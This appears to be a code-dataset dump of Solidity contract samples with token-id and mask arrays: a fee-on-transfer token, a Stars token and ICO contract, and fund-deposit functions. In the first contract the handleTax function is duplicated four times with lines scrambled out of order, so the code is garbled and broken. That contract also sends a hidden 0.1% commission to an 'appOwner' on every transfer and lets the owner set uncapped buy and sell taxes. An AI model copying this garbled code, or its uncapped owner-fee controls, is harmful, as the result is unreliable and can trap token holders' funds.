taxWallets["liquidity"],
block.timestamp
);
uint256 remainingTokens = (marketingTokens + devTokens + liquidityTokens + charityTokens) - (toSell + amountToken);
if(remainingTokens > 0) {
_transfer(address(this), taxWallets["dev"], remainingTokens);
}
if(ethGained - (marketingETH + devETH + liquidityETH + charityETH) > 0) {
}
marketingTokens = 0;
devTokens = 0;
liquidityTokens = 0;
charityTokens = 0;
}
}
amount -= tax;
}
return amount;
}
} else if(to == address(uniswapV2Pair)) {
function handleTax(address from, address to, uint256 amount) private returns (uint256) {
address[] memory sellPath = new address[](2);
sellPath[0] = address(this);
sellPath[1] = uniswapV2Router02.WETH();
if(!isExcluded(from) && !isExcluded(to)) {
uint256 tax;
uint256 baseUnit = amount / denominator;
if(from == address(uniswapV2Pair)) {
tax += baseUnit * buyTaxes["marketing"];
tax += baseUnit * buyTaxes["dev"];
tax += baseUnit * buyTaxes["liquidity"];
tax += baseUnit * buyTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * buyTaxes["marketing"];
devTokens += baseUnit * buyTaxes["dev"];
liquidityTokens += baseUnit * buyTaxes["liquidity"];
charityTokens += baseUnit * buyTaxes["charity"];
tax += baseUnit * sellTaxes["marketing"];
tax += baseUnit * sellTaxes["dev"];
tax += baseUnit * sellTaxes["liquidity"];
tax += baseUnit * sellTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * sellTaxes["marketing"];
devTokens += baseUnit * sellTaxes["dev"];
liquidityTokens += baseUnit * sellTaxes["liquidity"];
charityTokens += baseUnit * sellTaxes["charity"];
uint256 taxSum = marketingTokens + devTokens + liquidityTokens + charityTokens;
if(taxSum == 0) return amount;
uint256 ethValue = uniswapV2Router02.getAmountsOut(marketingTokens + devTokens + liquidityTokens + charityTokens, sellPath)[1];
if(ethValue >= swapThreshold) {
uint256 startBalance = address(this).balance;
uint256 toSell = marketingTokens + devTokens + liquidityTokens / 2 + charityTokens;
_approve(address(this), address(uniswapV2Router02), toSell);
uniswapV2Router02.swapExactTokensForETH(
toSell,
0,
sellPath,
address(this),
block.timestamp
);
uint256 ethGained = address(this).balance - startBalance;
uint256 liquidityToken = liquidityTokens / 2;
uint256 liquidityETH = (ethGained * ((liquidityTokens / 2 * 10 ** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 marketingETH = (ethGained * ((marketingTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 devETH = (ethGained * ((devTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 charityETH = (ethGained * ((charityTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
_approve(address(this), address(uniswapV2Router02), liquidityToken);
address(this),
liquidityToken,
0,
0,
taxWallets["liquidity"],
block.timestamp
);
uint256 remainingTokens = (marketingTokens + devTokens + liquidityTokens + charityTokens) - (toSell + amountToken);
if(remainingTokens > 0) {
_transfer(address(this), taxWallets["dev"], remainingTokens);
}
if(ethGained - (marketingETH + devETH + liquidityETH + charityETH) > 0) {
}
marketingTokens = 0;
devTokens = 0;
liquidityTokens = 0;
charityTokens = 0;
}
}
amount -= tax;
}
return amount;
}
function handleTax(address from, address to, uint256 amount) private returns (uint256) {
address[] memory sellPath = new address[](2);
sellPath[0] = address(this);
sellPath[1] = uniswapV2Router02.WETH();
if(!isExcluded(from) && !isExcluded(to)) {
uint256 tax;
uint256 baseUnit = amount / denominator;
if(from == address(uniswapV2Pair)) {
tax += baseUnit * buyTaxes["marketing"];
tax += baseUnit * buyTaxes["dev"];
tax += baseUnit * buyTaxes["liquidity"];
tax += baseUnit * buyTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * buyTaxes["marketing"];
devTokens += baseUnit * buyTaxes["dev"];
liquidityTokens += baseUnit * buyTaxes["liquidity"];
charityTokens += baseUnit * buyTaxes["charity"];
tax += baseUnit * sellTaxes["marketing"];
tax += baseUnit * sellTaxes["dev"];
tax += baseUnit * sellTaxes["liquidity"];
tax += baseUnit * sellTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * sellTaxes["marketing"];
devTokens += baseUnit * sellTaxes["dev"];
liquidityTokens += baseUnit * sellTaxes["liquidity"];
charityTokens += baseUnit * sellTaxes["charity"];
uint256 taxSum = marketingTokens + devTokens + liquidityTokens + charityTokens;
if(taxSum == 0) return amount;
uint256 ethValue = uniswapV2Router02.getAmountsOut(marketingTokens + devTokens + liquidityTokens + charityTokens, sellPath)[1];
if(ethValue >= swapThreshold) {
uint256 startBalance = address(this).balance;
uint256 toSell = marketingTokens + devTokens + liquidityTokens / 2 + charityTokens;
_approve(address(this), address(uniswapV2Router02), toSell);
uniswapV2Router02.swapExactTokensForETH(
toSell,
0,
sellPath,
address(this),
block.timestamp
);
uint256 ethGained = address(this).balance - startBalance;
uint256 liquidityToken = liquidityTokens / 2;
uint256 liquidityETH = (ethGained * ((liquidityTokens / 2 * 10 ** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 marketingETH = (ethGained * ((marketingTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 devETH = (ethGained * ((devTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 charityETH = (ethGained * ((charityTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
_approve(address(this), address(uniswapV2Router02), liquidityToken);
address(this),
liquidityToken,
0,
0,
taxWallets["liquidity"],
block.timestamp
);
uint256 remainingTokens = (marketingTokens + devTokens + liquidityTokens + charityTokens) - (toSell + amountToken);
if(remainingTokens > 0) {
_transfer(address(this), taxWallets["dev"], remainingTokens);
}
if(ethGained - (marketingETH + devETH + liquidityETH + charityETH) > 0) {
}
marketingTokens = 0;
devTokens = 0;
liquidityTokens = 0;
charityTokens = 0;
}
}
amount -= tax;
}
return amount;
}
(uint amountToken, uint amountETH, uint liquidity) = uniswapV2Router02.addLiquidityETH{value: liquidityETH}(
function handleTax(address from, address to, uint256 amount) private returns (uint256) {
address[] memory sellPath = new address[](2);
sellPath[0] = address(this);
sellPath[1] = uniswapV2Router02.WETH();
if(!isExcluded(from) && !isExcluded(to)) {
uint256 tax;
uint256 baseUnit = amount / denominator;
if(from == address(uniswapV2Pair)) {
tax += baseUnit * buyTaxes["marketing"];
tax += baseUnit * buyTaxes["dev"];
tax += baseUnit * buyTaxes["liquidity"];
tax += baseUnit * buyTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * buyTaxes["marketing"];
devTokens += baseUnit * buyTaxes["dev"];
liquidityTokens += baseUnit * buyTaxes["liquidity"];
charityTokens += baseUnit * buyTaxes["charity"];
tax += baseUnit * sellTaxes["marketing"];
tax += baseUnit * sellTaxes["dev"];
tax += baseUnit * sellTaxes["liquidity"];
tax += baseUnit * sellTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * sellTaxes["marketing"];
devTokens += baseUnit * sellTaxes["dev"];
liquidityTokens += baseUnit * sellTaxes["liquidity"];
charityTokens += baseUnit * sellTaxes["charity"];
uint256 taxSum = marketingTokens + devTokens + liquidityTokens + charityTokens;
if(taxSum == 0) return amount;
uint256 ethValue = uniswapV2Router02.getAmountsOut(marketingTokens + devTokens + liquidityTokens + charityTokens, sellPath)[1];
if(ethValue >= swapThreshold) {
uint256 startBalance = address(this).balance;
uint256 toSell = marketingTokens + devTokens + liquidityTokens / 2 + charityTokens;
_approve(address(this), address(uniswapV2Router02), toSell);
uniswapV2Router02.swapExactTokensForETH(
toSell,
0,
sellPath,
address(this),
block.timestamp
);
uint256 ethGained = address(this).balance - startBalance;
uint256 liquidityToken = liquidityTokens / 2;
uint256 liquidityETH = (ethGained * ((liquidityTokens / 2 * 10 ** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 marketingETH = (ethGained * ((marketingTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 devETH = (ethGained * ((devTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 charityETH = (ethGained * ((charityTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
_approve(address(this), address(uniswapV2Router02), liquidityToken);
address(this),
liquidityToken,
0,
0,
taxWallets["liquidity"],
block.timestamp
);
uint256 remainingTokens = (marketingTokens + devTokens + liquidityTokens + charityTokens) - (toSell + amountToken);
if(remainingTokens > 0) {
_transfer(address(this), taxWallets["dev"], remainingTokens);
}
if(ethGained - (marketingETH + devETH + liquidityETH + charityETH) > 0) {
}
marketingTokens = 0;
devTokens = 0;
liquidityTokens = 0;
charityTokens = 0;
}
}
amount -= tax;
}
return amount;
}
taxWallets["marketing"].call{value: marketingETH}("");
taxWallets["dev"].call{value: devETH}("");
taxWallets["charity"].call{value: charityETH}("");
function handleTax(address from, address to, uint256 amount) private returns (uint256) {
address[] memory sellPath = new address[](2);
sellPath[0] = address(this);
sellPath[1] = uniswapV2Router02.WETH();
if(!isExcluded(from) && !isExcluded(to)) {
uint256 tax;
uint256 baseUnit = amount / denominator;
if(from == address(uniswapV2Pair)) {
tax += baseUnit * buyTaxes["marketing"];
tax += baseUnit * buyTaxes["dev"];
tax += baseUnit * buyTaxes["liquidity"];
tax += baseUnit * buyTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * buyTaxes["marketing"];
devTokens += baseUnit * buyTaxes["dev"];
liquidityTokens += baseUnit * buyTaxes["liquidity"];
charityTokens += baseUnit * buyTaxes["charity"];
tax += baseUnit * sellTaxes["marketing"];
tax += baseUnit * sellTaxes["dev"];
tax += baseUnit * sellTaxes["liquidity"];
tax += baseUnit * sellTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * sellTaxes["marketing"];
devTokens += baseUnit * sellTaxes["dev"];
liquidityTokens += baseUnit * sellTaxes["liquidity"];
charityTokens += baseUnit * sellTaxes["charity"];
uint256 taxSum = marketingTokens + devTokens + liquidityTokens + charityTokens;
if(taxSum == 0) return amount;
uint256 ethValue = uniswapV2Router02.getAmountsOut(marketingTokens + devTokens + liquidityTokens + charityTokens, sellPath)[1];
if(ethValue >= swapThreshold) {
uint256 startBalance = address(this).balance;
uint256 toSell = marketingTokens + devTokens + liquidityTokens / 2 + charityTokens;
_approve(address(this), address(uniswapV2Router02), toSell);
uniswapV2Router02.swapExactTokensForETH(
toSell,
0,
sellPath,
address(this),
block.timestamp
);
uint256 ethGained = address(this).balance - startBalance;
uint256 liquidityToken = liquidityTokens / 2;
uint256 liquidityETH = (ethGained * ((liquidityTokens / 2 * 10 ** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 marketingETH = (ethGained * ((marketingTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 devETH = (ethGained * ((devTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 charityETH = (ethGained * ((charityTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
_approve(address(this), address(uniswapV2Router02), liquidityToken);
address(this),
liquidityToken,
0,
0,
taxWallets["liquidity"],
block.timestamp
);
uint256 remainingTokens = (marketingTokens + devTokens + liquidityTokens + charityTokens) - (toSell + amountToken);
if(remainingTokens > 0) {
_transfer(address(this), taxWallets["dev"], remainingTokens);
}
if(ethGained - (marketingETH + devETH + liquidityETH + charityETH) > 0) {
}
marketingTokens = 0;
devTokens = 0;
liquidityTokens = 0;
charityTokens = 0;
}
}
amount -= tax;
}
return amount;
}
taxWallets["marketing"].call{value: ethGained - (marketingETH + devETH + liquidityETH + charityETH)}("");
function _transfer(address sender, address recipient, uint256 amount) internal override(ERC20) antiWhale(sender, recipient, amount) {
uint256 feeAmount = calculateCommission(amount);
uint256 recieverAmount = amount - feeAmount;
if(taxStatus) {
amount = handleTax(sender, recipient, amount);
}
super._transfer(sender, appOwner, feeAmount);
super._transfer(sender, recipient, recieverAmount);
}
function _transfer(address sender, address recipient, uint256 amount) internal override(ERC20) antiWhale(sender, recipient, amount) {
uint256 feeAmount = calculateCommission(amount);
uint256 recieverAmount = amount - feeAmount;
if(taxStatus) {
amount = handleTax(sender, recipient, amount);
}
super._transfer(sender, appOwner, feeAmount);
super._transfer(sender, recipient, recieverAmount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override(ERC20) antiWhale(sender, recipient, amount) returns (bool) {
return super.transferFrom(sender, recipient, amount);
}
function excludeFromWhaleLimit(address account) external onlyOwner {
isExcludedFromWhaleLimit[account] = true;
}
function includeInWhaleLimit(address account) external onlyOwner {
isExcludedFromWhaleLimit[account] = false;
}
function calculateCommission(uint256 amount) internal pure returns(uint256) {
return amount / 1000;
}
function triggerTax() public onlyOwner {
handleTax(address(0), address(uniswapV2Pair), 0);
}
function setMaxTxAmount(uint256 amount) external onlyOwner {
maxTxAmount = amount * (10**9);
}
function setMaxWalletToken(uint256 amount) external onlyOwner {
maxWalletTokens = amount * (10**9);
}
function burn(uint256 amount) public onlyOwner {
_burn(msg.sender, amount);
}
function exclude(address account) public onlyOwner {
require(!isExcluded(account), "CoinToken: Account is already excluded");
excludeList[account] = true;
}
function removeExclude(address account) public onlyOwner {
require(isExcluded(account), "CoinToken: Account is not excluded");
excludeList[account] = false;
}
function setBuyTax(uint256 dev, uint256 marketing, uint256 liquidity, uint256 charity) public onlyOwner {
buyTaxes["dev"] = dev;
buyTaxes["marketing"] = marketing;
buyTaxes["liquidity"] = liquidity;
buyTaxes["charity"] = charity;
}
function setSellTax(uint256 dev, uint256 marketing, uint256 liquidity, uint256 charity) public onlyOwner {
sellTaxes["dev"] = dev;
sellTaxes["marketing"] = marketing;
sellTaxes["liquidity"] = liquidity;
sellTaxes["charity"] = charity;
}
function setTaxWallets(address dev, address marketing, address charity) public onlyOwner {
taxWallets["dev"] = dev;
taxWallets["marketing"] = marketing;
taxWallets["charity"] = charity;
}
function enableTax() public onlyOwner {
require(!taxStatus, "CoinToken: Tax is already enabled");
taxStatus = true;
}
function disableTax() public onlyOwner {
require(taxStatus, "CoinToken: Tax is already disabled");
taxStatus = false;
}
function isExcluded(address account) public view returns (bool) {
return excludeList[account];
}
} | 3,255,953 | [
1,
7203,
10485,
9128,
7273,
18830,
77,
3350,
5349,
272,
133,
114,
82,
133,
114,
86,
133,
114,
6582,
3246,
77,
320,
6115,
277,
134,
258,
3269,
749,
277,
132,
105,
267,
417,
1580,
922,
284,
265,
79,
7722,
93,
265,
89,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
15217,
1345,
353,
4232,
39,
3462,
16,
14223,
6914,
95,
203,
203,
377,
203,
565,
2254,
5034,
3238,
2172,
3088,
1283,
31,
203,
27699,
565,
2254,
5034,
3238,
15030,
273,
2130,
31,
203,
203,
377,
203,
565,
2254,
5034,
3238,
4461,
7731,
38,
9835,
31,
203,
565,
2254,
5034,
3238,
13667,
310,
7731,
38,
9835,
31,
203,
565,
2254,
5034,
3238,
4501,
372,
24237,
7731,
38,
9835,
31,
203,
565,
2254,
5034,
3238,
1149,
560,
7731,
38,
9835,
31,
203,
377,
203,
565,
2254,
5034,
3238,
4461,
7731,
55,
1165,
31,
203,
565,
2254,
5034,
3238,
13667,
310,
7731,
55,
1165,
31,
203,
565,
2254,
5034,
3238,
4501,
372,
24237,
7731,
55,
1165,
31,
203,
565,
2254,
5034,
3238,
1149,
560,
7731,
55,
1165,
31,
203,
377,
203,
565,
1758,
3238,
4461,
7731,
16936,
31,
203,
565,
1758,
3238,
13667,
310,
7731,
16936,
31,
203,
565,
1758,
3238,
4501,
372,
24237,
7731,
16936,
31,
203,
565,
1758,
3238,
1149,
560,
7731,
16936,
31,
203,
203,
565,
1758,
3238,
595,
5541,
31,
203,
203,
565,
533,
1071,
883,
31,
203,
377,
203,
377,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
4433,
682,
31,
203,
377,
203,
565,
2874,
261,
1080,
516,
2254,
5034,
13,
3238,
30143,
7731,
281,
31,
203,
565,
2874,
261,
1080,
516,
2254,
5034,
13,
3238,
357,
80,
7731,
281,
31,
203,
565,
2874,
261,
1080,
516,
1758,
13,
3238,
5320,
26558,
2413,
31,
203,
377,
203,
565,
1426,
1071,
5320,
1482,
273,
638,
31,
203,
377,
203,
565,
2
]
|
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; }
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Stars is StandardToken {
string public name = "Stars";
string public symbol = "STR";
uint public decimals = 8;
uint public INITIAL_SUPPLY = 60000000 * 10**8; // 100 millions tokens
/**
* @dev Contructor that gives msg.sender all of existing tokens.
*/
function Stars() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract StarsICO is Pausable {
using SafeMath for uint256;
uint256 public constant MAX_GAS_PRICE = 50000000000 wei; // maximum gas price for contribution transactions
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet_address;
// address of the Stars token
address public token_address;
// how many token units a buyer gets per wei
uint256 public rate;
// upper capacity tokens to sold
uint256 public capTokens;
// amount of raised money in wei
uint256 public weiRaised;
uint256 public tokensSold;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
// verifies that the gas price is lower than 50 gwei
modifier validGasPrice() {
require(tx.gasprice <= MAX_GAS_PRICE);
_;
}
function StarsICO(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet_address, address _token_address, uint256 _cap) {
// require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet_address != 0x0);
require(_token_address != 0x0);
require(_cap > 0);
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet_address = _wallet_address;
token_address = _token_address;
capTokens = _cap;
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) whenNotPaused validGasPrice private {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = convertWeiToTokens(weiAmount);
wallet_address.transfer(msg.value);
Stars tok = Stars(token_address);
if (tok.transferFrom(wallet_address, beneficiary, tokens)) {
// update state
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokens);
TokenPurchase(beneficiary, beneficiary, weiAmount, tokens);
}
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
bool withinCap = tokensSold.add(convertWeiToTokens(msg.value)) <= capTokens;
return withinPeriod && nonZeroPurchase && withinCap;
}
function convertWeiToTokens(uint256 weiAmount) constant returns (uint256) {
// calculate token amount to be created
uint256 tokens = weiAmount.div(10 ** 10);
tokens = tokens.mul(rate);
return tokens;
}
} | calculate token amount to be created | function convertWeiToTokens(uint256 weiAmount) constant returns (uint256) {
uint256 tokens = weiAmount.div(10 ** 10);
tokens = tokens.mul(rate);
return tokens;
}
| 5,496,876 | [
1,
11162,
1147,
3844,
358,
506,
2522,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
1765,
3218,
77,
774,
5157,
12,
11890,
5034,
732,
77,
6275,
13,
5381,
1135,
261,
11890,
5034,
13,
288,
203,
565,
2254,
5034,
2430,
273,
732,
77,
6275,
18,
2892,
12,
2163,
2826,
1728,
1769,
203,
565,
2430,
273,
2430,
18,
16411,
12,
5141,
1769,
203,
565,
327,
2430,
31,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/3/0x3F7f7744218fcccfB04e0e91f3719972e55392C5/sources/browser/SmartFundUSDFactory.sol | * @dev Deposits stable soin into the fund and allocates a number of shares to the sender depending on the current number of shares, the funds value, and amount deposited @return The amount of shares allocated to the depositor/ Check if the sender is allowed to deposit into the fund Require that the amount sent is not 0 Transfer stable coin from sender Calculate number of shares If user would receive 0 shares, don't continue with deposit Add shares to total Add shares to address | function deposit(uint256 depositAmount) external returns (uint256) {
if (onlyWhitelist)
require(whitelist[msg.sender]);
require(depositAmount > 0, "deposit amount should be more than zero");
require(IERC20(stableCoinAddress).transferFrom(msg.sender, address(this), depositAmount),
"can not transfer from");
totalWeiDeposited += depositAmount;
uint256 shares = calculateDepositToShares(depositAmount);
require(shares != 0, "shares can not be zero");
totalShares = totalShares.add(shares);
addressToShares[msg.sender] = addressToShares[msg.sender].add(shares);
addressesNetDeposit[msg.sender] += int256(depositAmount);
emit Deposit(msg.sender, depositAmount, shares, totalShares);
return shares;
}
| 8,113,128 | [
1,
758,
917,
1282,
14114,
272,
885,
1368,
326,
284,
1074,
471,
4767,
815,
279,
1300,
434,
24123,
358,
326,
5793,
8353,
603,
326,
783,
1300,
434,
24123,
16,
326,
284,
19156,
460,
16,
471,
3844,
